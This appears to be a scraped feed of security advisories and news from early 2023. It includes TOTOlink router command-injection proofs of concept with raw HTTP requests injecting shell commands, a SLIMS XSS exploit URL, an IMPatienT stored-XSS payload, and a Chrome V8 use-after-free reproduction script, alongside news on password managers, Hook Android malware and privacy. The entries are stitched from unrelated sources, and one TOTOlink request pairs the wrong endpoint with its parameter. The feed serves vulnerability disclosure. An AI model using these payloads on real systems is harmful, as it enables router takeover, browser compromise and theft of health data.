TOTOlink A7100RU V7.4cu.2313_B20191024 was discovered to contain a command injection vulnerability via the username parameter in the setting/setOpenVpnCertGenerationCfg function.

**TOTOlink A7100RU(V7.4cu.2313\_B20191024)路由器存在命令注入漏洞****写在前面**

厂商信息：http://totolink.net/

固件下载地址：http://totolink.net/home/menu/detail/menu\_listtpl/download/id/185/ids/36.html

**1.影响版本**

图1为固件版本信息

**2.漏洞细节**

程序通过获取username参数中的内容传递给v51，之后将v51带入到Uci\_Set\_Str函数中

在Uci\_Set\_Str函数中，通过snprintf函数，将a4匹配到的内容格式化进v11，之后将v11带入cstesystem函数中

函数直接将用户输入内容带入到execv函数中，存在命令注入漏洞

**POC**

POST /cgi\-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.0.1
Content\-Length: 79
Accept: \*/\*
X\-Requested\-With: XMLHttpRequest
User\-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
Content\-Type: application/x\-www\-form\-urencoded; charset\=UTF\-8
Origin: <http://192.168.0.1>
Referer: <http://192.168.0.1/adm/status.asp?timestamp=1647872753309>
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q\=0.9
Cookie: SESSION\_ID\=2:1647872744:2
Connection: close

{"topicurl":"setting/setOpenVpnCertGenerationCfg",
"username":"1$(ls>/tmp/123;)"}

复现结果如下

图2 POC攻击效果

最后，您可以编写exp，这可以实现获得根shell的非常稳定的效果

CVE-2022-48126: ttt/12 at main · Am1ngl/ttt

TOTOlink A7100RU V7.4cu.2313_B20191024 was discovered to contain a command injection vulnerability via the dayvalid parameter in the setting/delStaticDhcpRules function.

**TOTOlink A7100RU(V7.4cu.2313\_B20191024)路由器存在命令注入漏洞****写在前面**

厂商信息：http://totolink.net/

固件下载地址：http://totolink.net/home/menu/detail/menu\_listtpl/download/id/185/ids/36.html

**1.影响版本**

图1为固件版本信息

**2.漏洞细节**

程序通过获取dayvalid参数中的内容传递给v9，之后带入到Uci\_Set\_Str函数中

在Uci\_Set\_Str函数中，通过snprintf函数，将a4匹配到的内容格式化进v11，之后将v11带入cstesystem函数中

函数直接将用户输入内容带入到execv函数中，存在命令注入漏洞

**POC**

POST /cgi\-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.0.1
Content\-Length: 79
Accept: \*/\*
X\-Requested\-With: XMLHttpRequest
User\-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
Content\-Type: application/x\-www\-form\-urencoded; charset\=UTF\-8
Origin: <http://192.168.0.1>
Referer: <http://192.168.0.1/adm/status.asp?timestamp=1647872753309>
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q\=0.9
Cookie: SESSION\_ID\=2:1647872744:2
Connection: close

{"topicurl":"setting/delStaticDhcpRules",
"dayvalid":"1$(ls>/tmp/123;)"}

复现结果如下

图2 POC攻击效果

最后，您可以编写exp，这可以实现获得根shell的非常稳定的效果

CVE-2022-48122: ttt/17 at main · Am1ngl/ttt

Dashlane, Bitwarden, and Safari all cited by Google researchers

Dashlane, Bitwarden, and Safari all cited by Google researchers

Security shortcomings mean that multiple password managers could be tricked into auto-filling credentials on untrusted pages, security researchers at Google warn.

The team from Google went public with their findings on Tuesday (17 January), 90 days after notifying the applications – Dashlane, Bitwarden, and the built-in password manager bundled with Apple’s Safari browser – of the vulnerabilities.

Both Dashlane and Bitwarden have updated their software although Dashlane, at least, remains unconvinced that the bug represents any kind of security threat. The status of any fix for Apple’s Safari built-in password manager remains unconfirmed at the time of writing. The Daily Swig has asked Apple to comment and we’ll update this story as and when more information comes to hand.

Catch up with the latest cybersecurity research news

The security shortcomings outlined by Google mean that the vulnerable password managers auto-fill credentials into untrusted pages, without first requiring users to enter their master password.

An advisory from Google explains that the issue arises in two scenarios: where web pages have a CSP (content security policy) sandbox response header or where forms are inside a sandboxed iframe.

Auto-filling by password managers should not happen in either scenario but the affected applications all fail in this regard when encountering sandboxed content. Other password managers (including LastPass, 1Password, and Google Chrome’s password vault technology) avoid this mistake, said Google.

“Password managers should check whether content is sandboxed before auto-filling credentials. This can be done in many ways, but one way is to check self.origin of a page and refusing to fill in credentials if self.origin is ‘null’,” according to the Google advisory.

**Real world impact**

In response to a query from The Daily Swig, Bitwarden confirmed that the issue had been resolved through a recent pull request. Dashlane told The Daily Swig that it had also updated its technology even though it remains unconvinced there was a substantive problem in play.

“We’ve changed the behavior following the report (so the advisory is misleading),” Dashlane said. “We also don’t believe that it was a real issue to start with (the author doesn’t detail any real attack scenario nor answer our questions).”

Google is yet to respond to a request from The Daily Swig to respond to Dashlane’s criticisms of its research findings.

YOU MAY ALSO LIKE Google pays hacker duo $22k in bug bounties for flaws in multiple cloud projects

Popular password managers auto-filled credentials on untrusted websites

In 2022, privacy was upended for millions of people. Here are the biggest stories from last year. 



(Read more...)




The post What happened in privacy in 2022 appeared first on Malwarebytes Labs.

Annual reviews of any year’s developments in privacy rarely lend themselves to pithy wrap-ups, but 2022 was different, providing the clearest example yet for so many people—American women in particular—that their privacy was not theirs to determine, and that the often-repeated refrain that privacy doesn’t matter for those who have “nothing to hide” only holds sway until the world around those words decides: “Now you do_._”

The US Supreme Court’s decision to overturn _Roe v. Wade_ and the associated Constitutional right to choose to have an abortion redefined personal privacy, as individual states can now treat previously benign health data as possible evidence in a criminal investigation. Where perhaps millions of women previously had “nothing to hide,” now, they do.

The Supreme Court’s decision was also an event that has few modern equivalents, changing the behaviors of three, core parts of society—government, corporate, and public.

In the wake of a leaked draft of the decision, Federal legislators introduced a new, targeted data privacy bill to protect reproductive health data. Immediately following the decision, countless individuals dropped their current period-tracking apps in search for another app that would promise to better protect their data. And months after the decision, companies are still announcing changes to what types of data they will no longer store.

In looking back at 2022, it isn’t that nothing else happened in data privacy—it’s that nothing else like this has happened for a long time.

Here’s a look at what happened in privacy in 2022.

****Roe v. Wade overturned****

The privacy fallout from the US Supreme Court’s decision in _Dobbs v. Jackson Women’s Health Organization_ is both succinct and enormous: It changed what people want to keep private. 

By allowing a state-by-state approach to the legality of obtaining and providing abortion services, the US Supreme Court’s decision introduced a new uncertainty about what types of online activity—be it Google searches, Facebook posts, TikTok videos, or location histories revealing trips to an abortion clinic—could now be considered as potential evidence of a crime.

Would law enforcement, for example, be able to pull Google search requests on someone they suspected of seeking an abortion? Would text messages between friends be brought before an investigator? What about Instagram stories that included offers to pay for the travel and lodging of complete strangers seeking abortion from other states? And what about period-tracking app data? What if cops could see in a person’s data that, for a week or two, they were pregnant, and then soon after, they were not? 

In the absence of immediate best practices, individuals made their own choices. Period-tracking app users scrambled to find the most secure app online, and one period-tracking app maker promised to encrypt user data so that, even if law enforcement made a request for their data, the data would be unintelligible. (Those promises, one investigation found, were shaky.)

But it wasn’t just period-tracking apps that reconsidered data collection and storage policies.

In July, Google announced that it would automatically delete location histories that revealed physical trips to any sensitive locations, which Google defined as “medical facilities like counseling centers, domestic violence shelters, abortion clinics, fertility centers, addiction treatment facilities, weight loss clinics, \[and\] cosmetic surgery clinics.” Samsung, too, recently announced that it would delete “Women’s health data” collected through Samsung Health.

To address this corporate, piecemeal approach to user privacy, Congressmembers introduced the My Body, My Data Act, which would place new, national restrictions on how companies handle reproductive health data.

****Web wins (and one wayward rollout)****

When the developers of the privacy-forward browser Brave released their own search engine last year, they touted that, unlike other search engines, “Brave Search” would pull from an entirely separate index of the Internet, only relying on Google’s index when it could not fill in the gaps for user searches. Upon Brave Search’s launch, this “independence score,” as the company put it, was 87 percent.

One year later, that score has reportedly increased to 92 percent for all Brave Search users, and Brave Search itself has exited out of beta. But perhaps the biggest privacy draw of all for the tool is simple: It doesn’t track users or their searches.

Privacy-minded users has another choice in web browsers last year, as well, as Mozilla claimed that a new feature in Firefox made it the “most private and secure major browser available across Windows, Mac, and Linux.”

The feature, called Total Cookie Protection, promises to create “cookie jars” for every website that users visit. This will reportedly put browsing activity into separate silos so that user activity cannot be stitched together across websites, which is often done to help build in-depth profiles of who to target with ads.

But why spend so much time on cookie restrictions when, according to Google’s own words several years ago, it, too, would retire third-party tracking in its browser, Chrome?

Probably because that major rollout was delayed yet again—this time to 2024.

****A question of corporate commitment to privacy****

If you can believe it, there was a time last year when the biggest thing happening to Twitter had nothing to do with its new owner, Elon Musk.

In August, the company confirmed a data breach that affected 5.4 million users, their email addresses and phone numbers now linked to their accounts in a data dump that could be found for sale on the dark web.

In May, Twitter was also hit with a $150 million fine from the US Federal Trade Commission for violating an earlier consent order that prohibited the company from “misleading consumers about the extent to which it protects the security, privacy, and confidentiality of nonpublic consumer information, including the measures it takes to prevent unauthorized access to nonpublic information and honor the privacy choices made by consumers.”

But with so broad a description, what, exactly, did Twitter do?

It used phone numbers that were specifically requested for two-factor authentication—a security measure—for targeted advertising.

(At least the company did put its services on Tor last year, a great step for familiarizing users with a more private online experience.)

_To learn more about privacy and Tor’s security benefits to the Internet, listen to our Lock and Code podcast interview with Alec Muffet here._

But privacy blunders—and intentional evasions—have become a guarantee in Silicon Valley, and so Twitter shouldn’t receive all the spotlight.

Facebook, possibly angered by one browser’s decision to remove tracking parameters that Facebook inserted into URLs to help track users across pages, decided to encrypt their URLs so that the browser in question could no longer determine which part of the URL would need to be removed. The company is also facing a lawsuit alleging that it has built a “secret workaround” to safeguards built into the iPhone to prevent the social media giant from tracking users.         

Finally, Google settled multi-state charges that the company had allegedly misled users as to how their locations were tracked across various services, agreeing to pay a whopping $391.5 million. A separate but similar lawsuit is still active against the company.

****Legislation and legal violation****

Compared to earlier years, the legislative battle for data privacy cooled off in 2022, but that doesn’t mean it was necessarily less spirited.

In June, a draft of the US Supreme Court’s opinion in _Dobbs v. Jackson Women’s Health Organization_ was leaked, suggesting that the Court was positioned to soon overturn both _Roe v. Wade_ and _Planned Parenthood v. Casey_, previous decisions that had guaranteed a Constitutional right to choose to have an abortion. 

Before the Supreme Court could issue its final decision, legislators in Washington DC moved fast, introducing the My Body, My Data Act in both the House of Representatives and the Senate. The bill sought to place new restrictions on how companies use “personal reproductive or sexual health information,” allowing for the collection, use, retainment, and disclosure of such data only if a company was delivering a service requested by a user, or if the user gave express consent. The definition of “personal reproductive or sexual health information” in the bill is broad, including any info that could reveal someone’s attempts to “research or obtain” reproductive health service, along with any reproductive or sexual health “conditions,” including pregnancy or menstruation.

The bill has not significantly moved forward since its introduction.

Separately, last year saw the introduction of the American Data and Privacy Protection Act—the latest attempt from Congressmembers to pass a Federal, comprehensive data privacy law for the United States. Like many attempts before, the American Data and Privacy Protection Act would extend the rights to access, correct, and request deletion of the personal data that companies have already collected on them—similar to the rights granted to those living in the European Union through the General Data Protection Regulation (GDPR).

With a new Congress elected, it is unclear whether the bill will progress.

Aside from legislation that has only been introduced, one full-blown law scored its first-ever enforcement action. In California, the state’s attorney general announced a settlement with the makeup company Sephora over allegations that it violated the California Consumer Privacy Act, the state’s privacy law that was first passed in 2018.

According to the Office of the Attorney General, Sephora allegedly “failed to disclose to consumers that it was selling their personal information, … failed to process user requests to opt out of sale via user-enabled global privacy controls in violation of the CCPA, and … it did not cure these violations within the 30-day period currently allowed by the CCPA.”

Per the settlement, Sephora agreed to pay $1.2 million.

****Pushing back against stalkerware****

Rounding out a turbulent year, there was some good news in the continued fight against stalkerware.

Through a months-long investigation, the technology publication TechCrunch revealed that a network of stalkerware-type apps all shared the same security vulnerability that could allow “near-unfettered remote access” to the data of hundreds of thousands of devices that are already infected with said apps. TechCrunch worked with the Carnegie Mellon University Software Engineering Institute to both report the vulnerability and contact any party that could responsibly address the vulnerability. The investigation provided likely the strongest, global “map” of who is providing cover for these types of apps, and how they seem to skirt any consequences.

But there’s more.

Following questions that TechCrunch sent to a company called 1Byte, which operates the server infrastructure behind several of the apps under investigation, two of the apps “appeared to cease working or shut down.” 

Today, TechCrunch offers a tool that allows people to see if their devices are infected with the apps that the publication previously investigated.

**We don’t just report on threats—we remove them**

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

What happened in privacy in 2022

SLIMS version 9.5.2 suffers from a cross site scripting vulnerability.

    ## Title: SLIMS-9.5.2 - XSS Reflected - Account Exploit## Development: nu11secur1ty## Date: 01.19.2023## Vendor: https://slims.web.id/web/## Software: https://github.com/slims/slims9_bulian/releases/tag/v9.5.2## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/slims.web.id/SLIMS-9.5.2## Description:The value of manual insertion `point 3` is copied into the HTMLdocument as plain text between tags.The payload udz21<script>alert(1)</script>rk346 was submitted inmanual insertion point 3.This input was echoed unmodified in the application's response.The attacker can trick the already logged-in user, to visit theexploit link that this attacker is created,and if this already logged-in user is not actually IT or admin, thiswill be the end of this system.## STATUS: HIGH Vulnerability[+] Exploit:```GET /slims9_bulian-9.5.2/admin/modules/reporting/customs/loan_by_class.php?reportView=true&year=2002&class=%27udz21%3Ca%20href=https://www.pornhub.com%3E%3Cimg%20src=https://i.postimg.cc/1tSM7Z7F/Hijacking-clipboard.gif%22%3E%50%6c%65%61%73%65%2c%20%76%69%73%69%74%20%6f%75%72%20%6d%61%69%6e%74%65%6e%61%6e%63%65%20%70%61%67%65%20%74%6f%20%63%68%65%63%6b%20%77%68%61%74%20%69%73%20%74%68%65%20%6c%61%74%65%73%74%20%6e%65%77%73%21%20%57%65%20%61%72%65%20%73%6f%72%72%79%20%66%6f%72%20%74%68%69%73%20%70%72%6f%62%6c%65%6d%21%20%54%68%69%73%20%77%69%6c%6c%20%62%65%20%66%69%78%65%64%20%73%6f%6f%6e&membershipType=a%27%27&collType=%27HTTP/1.1Host: pwnedhost1.comCache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: SenayanAdmin=qavdssnj7kgu5g8a7d1pm0l3rr; admin_logged_in=1;SenayanMember=8f7c68j2b0pgbovehqcfuhcnl4Connection: close```## Reproduce:[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/slims.web.id/SLIMS-9.5.2)## Proof and Exploit:[href](https://streamable.com/zd6e18)## Reference:[href](https://portswigger.net/web-security/cross-site-scripting)

SLIMS 9.5.2 Cross Site Scripting

The threat actor behind the BlackRock and ERMAC Android banking trojans has unleashed yet another malware for rent called Hook that introduces new capabilities to access files stored in the devices and create a remote interactive session.
ThreatFabric, in a report shared with The Hacker News, characterized Hook as a novel ERMAC fork that's advertised for sale for $7,000 per month while featuring

Mobile Security / Android

The threat actor behind the BlackRock and ERMAC Android banking trojans has unleashed yet another malware for rent called **Hook** that introduces new capabilities to access files stored in the devices and create a remote interactive session.

ThreatFabric, in a report shared with The Hacker News, characterized Hook as a novel ERMAC fork that's advertised for sale for $7,000 per month while featuring "all the capabilities of its predecessor."

"In addition, it also adds to its arsenal Remote Access Tooling (RAT) capabilities, joining the ranks of families such as Octo and Hydra, which are capable performing a full Device Take Over (DTO), and complete a full fraud chain, from PII exfiltration to transaction, with all the intermediate steps, without the need of additional channels," the Dutch cybersecurity firm said.

A majority of the financial apps targeted by the malware are located in the U.S., Spain, Australia, Poland, Canada, Turkey, the U.K., France, Italy, and Portugal.

Hook is the handiwork of a threat actor known as DukeEugene and represents the latest evolution of ERMAC, which was first disclosed in September 2021 and is based on another trojan named Cerberus that had its source code leaked in 2020.

"Ermac has always been behind Hydra and Octo in terms of capabilities and features," ThreatFabric researcher Dario Durando told The Hacker News via email. "This is also known among threat actors, who prefer these two families above Ermac."

"The lack of some sort of RAT capabilities is a major issue for a modern Android Banker, as it does not provide the possibility to perform Device Take Over (DTO), which is the fraud methodology that is most likely to be successful and not detected by fraud scoring engines or fraud analysts. This is most likely what triggered the development of this new malware variant."

Like other Android malware of its ilk, the malware abuses Android's accessibility services APIs to conduct overlay attacks and harvest all kinds of sensitive information such as contacts, call logs, keystrokes, two-factor authentication (2FA) tokens, and even WhatsApp messages.

It also sports an expanded list of apps to include ABN AMRO and Barclays, while the malicious samples themselves masquerade as the Google Chrome web browser to dupe unsuspecting users into downloading the malware:

*   com.lojibiwawajinu.guna
*   com.damariwonomiwi.docebi
*   com.yecomevusaso.pisifo

Among the other major features to be added to Hook is the ability to remotely view and interact with the screen of the infected device, obtain files, extract seed phrases from crypto wallets, and track the phone's location, blurring the line between spyware and banking malware.

ThreatFabric said the Hook artifacts observed so far in a testing phase, but noted it could be delivered via phishing campaigns, Telegram channels, or in the form of Google Play Store dropper apps.

"The main drawback of creating a new malware is usually gaining enough trust by other actors, but with the status of DukeEugene among criminals, it is very likely that this will not be an issue for Hook," Durando said.

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

Android Users Beware: New Hook Malware with RAT Capabilities Emerges

**According to the CVSS metric, user interaction is required (UI:R). What interaction would the user have to do?**

The user would have to click on a specially crafted URL to be compromised by the attacker.

CVE-ID

Learn more at National Vulnerability Database (NVD)

• CVSS Severity Rating • Fix Information • Vulnerable Software Versions • SCAP Mappings • CPE Information

Description

\*\* RESERVED \*\* This candidate has been reserved by an organization or individual that will use it when announcing a new security problem. When the candidate has been publicized, the details for this candidate will be provided.

References

**Note:** References are provided for the convenience of the reader to help distinguish between vulnerabilities. The list is not intended to be complete.

Assigning CNA

N/A

Date Record Created

**20221213**

Disclaimer: The record creation date may reflect when the CVE ID was allocated or reserved, and does not necessarily indicate when this vulnerability was discovered, shared with the affected vendor, publicly disclosed, or updated in CVE.

Phase (Legacy)

Assigned (20221213)

Votes (Legacy)

Comments (Legacy)

Proposed (Legacy)

N/A

This is a record on the CVE List, which provides common identifiers for publicly known cybersecurity vulnerabilities.

Search CVE Using Keywords:  

You can also search by reference using the CVE Reference Maps.

For More Information:  CVE Request Web Form (select "Other" from dropdown)

CVE-2023-21719: Microsoft Edge (Chromium-based) Security Feature Bypass Vulnerability

Chrome suffers from a copy-on-write check bypass in JSNativeContextSpecialization::BuildElementAccess.

Chrome: Copy-on-write check bypass in JSNativeContextSpecialization::BuildElementAccess

VULNERABILITY DETAILS  
Copy-on-write is one of V8's internal optimization features that allows multiple JavaScript objects to share the same element store. This feature is primarily used to optimize creation of JavaScript arrays from literals. It's important that every function that can add a new element to a JS object or modify an existing one first checks that the element store isn't marked as COW and makes a copy of the store if needed. Otherwise, the element will be unexpectedly changed for every object that uses the same store.

Consider the implementation of the safety check in `JSNativeContextSpecialization::BuildElementAccess`:

```  
JSNativeContextSpecialization::ValueEffectControl  
JSNativeContextSpecialization::BuildElementAccess(  
    Node* receiver, Node* index, Node* value, Node* effect, Node* control,  
    Node* context, ElementAccessInfo const& access_info,  
    KeyedAccessMode const& keyed_mode) {  
[...]  
    if (keyed_mode.access_mode() == AccessMode::kStore &&  
        IsSmiOrObjectElementsKind(elements_kind) &&  
        !IsCOWHandlingStoreMode(keyed_mode.store_mode())) {  
      effect = graph()->NewNode(  
          simplified()->CheckMaps(  
              CheckMapsFlag::kNone,  
              ZoneHandleSet<Map>(factory()->fixed_array_map())),  
          elements, effect, control);  
    }  
[...]  
}  
```

The `CheckMaps` node is only inserted if the current access mode is `kStore`. However, there are other modes that can also result in storing an element, and one of them is `kDefine`. A call to the `Object.defineProperty` function won't lead to an access in this mode, but an attacker can take advantage of class field initialization to trigger it:

```  
function ReturnHolder() { return define_property_holder }  
class Trigger extends ReturnHolder { 123 = new_value; }  
```

The `Trigger` constructor will perform an element access that's equivalent to the expression `define_property_holder[123] = new_value`, but will set the access mode to `kDefine`, thus bypassing the safety check.

There are likely multiple ways to exploit the issue. The approach the attached reproduction case takes is to create two `PACKED_SMI_ELEMENTS` arrays that share the element store and then get one of the arrays to transition to the `PACKED_ELEMENTS` kind and store a `HeapObject` element. Since copying elements from the corrupted Smi array to another Smi array won't trigger any write barriers, we can hide the pointer from the garbage collector in a new array and trigger a use-after-free on a V8 heap address.

VERSION  
V8 version 10.9.0 (candidate)  
Google Chrome 107.0.5304.87 (Official Build) (64-bit)

REPRODUCTION CASE  
```  
function ForceGC() { try { new ArrayBuffer(2 ** 34); } catch {} }

old_space_array = Array(1, 2);

function CopyElement(from, to) { to[0] = from[0]; } // no write barrier for smi arrays  
for (let i = 0; i < 10000; ++i) {  
  CopyElement(old_space_array, old_space_array);  
}

ForceGC();

function MakeCOW() { return [0]; }  
original_cow_object = MakeCOW();

function MakeCopy() {  
  let copy = original_cow_object.concat(); // create a new object with COW elements  
  copy.splice(); // copy the elements  
  return copy;  
}

new_value = 1;  
new_value = {}; // mark the cell as mutable

function ReturnHolder() { return define_property_holder }  
class Trigger extends ReturnHolder { 0 = new_value; }

for (let i = 0; i < 10000; ++i) {  
  define_property_holder = MakeCopy();  
  new Trigger();  
}

new_value = {};  
define_property_holder = MakeCOW();  
new Trigger();

new_space_array = MakeCOW();  
new_space_array.splice();

CopyElement(new_space_array, old_space_array);

new_value = \"\";  
define_property_holder = MakeCOW();  
new Trigger();

new_space_array = null;  
ForceGC();

console.log(old_space_array[0][0]);

```

CREDIT INFORMATION  
Sergei Glazunov of Google Project Zero

This bug is subject to a 90-day disclosure deadline. If a fix for this issue is made available to users before the end of the 90-day deadline, this bug report will become public 30 days after the fix was made available. Otherwise, this bug report will become public at the deadline. The scheduled deadline is 2023-02-06.

Found by: glazunov@google.com

Chrome JSNativeContextSpecialization::BuildElementAccess Bypass

IMPatienT before 1.5.2 allows stored XSS via onmouseover in certain text fields within a PATCH /modify_onto request to the ontology builder. This may allow attackers to steal Protected Health Information.

A Security Advisory has been raised for IMPatienT v1.5.0 (CVE-2023-23637):

Description:  
IMPatienT v1.5.0 allows Stored Cross-Site Scripting (XSS) via onmouseover in certain text fields within a PATCH /modify\_onto request.  
This may allow attackers to steal Protected Health Information (PHI).

Suggested Fix:  
Consider sanitizing user input parameters by removing all non-compliant characters. Additionally, you could consider encoding the user input using HTML or URL methods.

Reference:  
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-23637  
https://nvd.nist.gov/vuln/detail/CVE-2023-23637  
https://owasp.org/www-project-top-ten/2017/A7\_2017-Cross-Site\_Scripting\_(XSS)

Payload:

    PATCH /modify_onto HTTP/1.1
    Host: 127.0.0.1:5000
    Content-Length: 2218
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36
    Origin: http://127.0.0.1:5000/
    Referer: http://127.0.0.1:5000/ontocreate
    Connection: close
    
    [{"id":"MHO:000001","text":"Sample Keyword","icon":true,"li_attr":{"id":"MHO:000001"},"a_attr":{"href":"#","id":"MHO:000001_anchor"},"state":{"loaded":true,"opened":true,"selected":false,"disabled":false},"data":{"description":"","synonymes":"","phenotype_datamined":"","gene_datamined":"","alternative_language":"Sample Keyword","hex_color":"#c7ef34","hpo_datamined":"","correlates_with":"","image_annotation":false},"parent":"#"},{"id":"MHO:000004","text":"Keyword Image Annotation","icon":true,"li_attr":{"id":"MHO:000004"},"a_attr":{"href":"#","id":"MHO:000004_anchor"},"state":{"loaded":true,"opened":false,"selected":true,"disabled":false},"data":{"description":"","synonymes":"","phenotype_datamined":"UNCLEAR","gene_datamined":"N/A","alternative_language":"","correlates_with":"","image_annotation":true,"hex_color":"#77e3a4","hpo_datamined":""},"parent":"MHO:000001"},{"id":"MHO:000005","text":"Keyword Image Annotation 2<a onmouseover=alert('XSS')>XSS</a>","icon":true,"li_attr":{"id":"MHO:000005"},"a_attr":{"href":"#","id":"MHO:000005_anchor"},"state":{"loaded":true,"opened":false,"selected":false,"disabled":false},"data":{"description":"","synonymes":"","phenotype_datamined":"","gene_datamined":"","alternative_language":"","correlates_with":"","image_annotation":true,"hex_color":"#094f6a","hpo_datamined":""},"parent":"MHO:000001"},{"id":"MHO:000002","text":"Sample Keyword Child","icon":true,"li_attr":{"id":"MHO:000002"},"a_attr":{"href":"#","id":"MHO:000002_anchor"},"state":{"loaded":true,"opened":false,"selected":false,"disabled":false},"data":{"description":"","synonymes":"","phenotype_datamined":"","gene_datamined":"","alternative_language":"","correlates_with":"","image_annotation":false,"hex_color":"#14cd17","hpo_datamined":""},"parent":"MHO:000001"},{"id":"MHO:000003","text":"Sample Keyword Child 2","icon":true,"li_attr":{"id":"MHO:000003"},"a_attr":{"href":"#","id":"MHO:000003_anchor"},"state":{"loaded":true,"opened":false,"selected":false,"disabled":false},"data":{"description":"","synonymes":"","phenotype_datamined":"","gene_datamined":"","alternative_language":"","correlates_with":"","image_annotation":false,"hex_color":"#d9eab9","hpo_datamined":""},"parent":"MHO:000001"}]

CVE-2023-23637: [Security] IMPatienT v1.5.0 Stored Cross-Site Scripting (XSS) - CVE-2023-23637 · Issue #101 · lambda-science/IMPatienT

TOTOlink A7100RU V7.4cu.2313_B20191024 is vulnerable to Command Injection Vulnerability in the httpd service. An attacker can obtain a stable root shell through a specially constructed payload.

**TOTOlink A7100RU(V7.4cu.2313\_B20191024)路由器存在命令注入漏洞****写在前面**

厂商信息：http://totolink.net/

固件下载地址：http://totolink.net/home/menu/detail/menu\_listtpl/download/id/185/ids/36.html

**1.影响版本**

图1为固件版本信息

**2.漏洞细节**

程序通过获取rsabits参数下的内容传递给v8，之后带入到Uci\_Set\_Str函数中

在Uci\_Set\_Str函数中，通过snprintf函数，将a4匹配到的内容格式化进v11，之后将v11带入cstesystem函数中

函数直接将用户输入内容带入到execv函数中，存在命令注入漏洞

**POC**

POST /cgi\-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.0.1
Content\-Length: 79
Accept: \*/\*
X\-Requested\-With: XMLHttpRequest
User\-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
Content\-Type: application/x\-www\-form\-urencoded; charset\=UTF\-8
Origin: <http://192.168.0.1>
Referer: <http://192.168.0.1/adm/status.asp?timestamp=1647872753309>
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q\=0.9
Cookie: SESSION\_ID\=2:1647872744:2
Connection: close

{"topicurl":"setting/delStaticDhcpRules",
"rsabits":"1$(ls>/tmp/123;)"}

复现结果如下

图2 POC攻击效果

最后，您可以编写exp，这可以实现获得根shell的非常稳定的效果

Tag

#chrome